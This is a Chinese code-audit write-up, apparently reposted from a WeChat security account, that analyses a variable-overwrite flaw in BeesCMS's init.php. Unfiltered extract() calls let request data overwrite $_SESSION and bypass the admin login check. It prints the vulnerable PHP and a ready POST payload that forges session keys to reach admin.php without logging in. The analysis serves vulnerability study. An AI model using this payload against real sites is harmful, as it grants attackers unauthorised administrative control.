一、漏洞描述:
init.php中存在变量覆盖漏洞,而后台判断登陆的代码仅仅用$_SESSION一些键值进行了判断,导致覆盖$_SESSION的关键值后,可以绕过登陆的判断,从而登陆后台。
二、漏洞分析过程:
定位到漏洞代码:/includes/init.php
首先对参数进行全局过滤,最后用extract进行变量的初始化,这里没有值对flags进行限制,所以可以导致任意变量覆盖
并且覆盖之前已经session_start()了,所以不会重新初始化,也就是说$_SESSION可以被任意覆盖
漏洞部分代码:
if (!get_magic_quotes_gpc())
{
if (isset($_REQUEST))
{
$_REQUEST = addsl($_REQUEST);
}
$_COOKIE = addsl($_COOKIE);
$_POST = addsl($_POST);
$_GET = addsl($_GET);
}
if (isset($_REQUEST)){$_REQUEST = fl_value($_REQUEST);}
$_COOKIE = fl_value($_COOKIE);
$_GET = fl_value($_GET);
@extract($_POST);
@extract($_GET);
@extract($_COOKIE);
index.php包含了init.php
然后/admin/admin.php,会包含/admin/init.php,这里会用is_login()函数进行登陆检查
跟进is_login()函数:/includes/fun.php
可以看到这里判断是否登陆,只是判断了$_SESSION['login_in']==1并且$_SESSION['admin']有值就行,然后$_SESSION['time']要大于3600,就判断为已登陆
所以我们可以通过变量覆盖漏洞对$_SESSION进行操作,让其满足登陆判断的条件,然后即可实现后台登陆的绕过。
三、漏洞利用:
1、访问首页,覆盖变量
http://www.beescms.test/index.php
POST数据:
_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=99999999999
2、直接访问后台页面,成功无需登录访问:
http://www.beescms.test/admin/admin.php
本文始发于微信公众号(哈拉少安全小队):【代码审计】 beescms 变量覆盖漏洞导致后台登陆绕过分析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论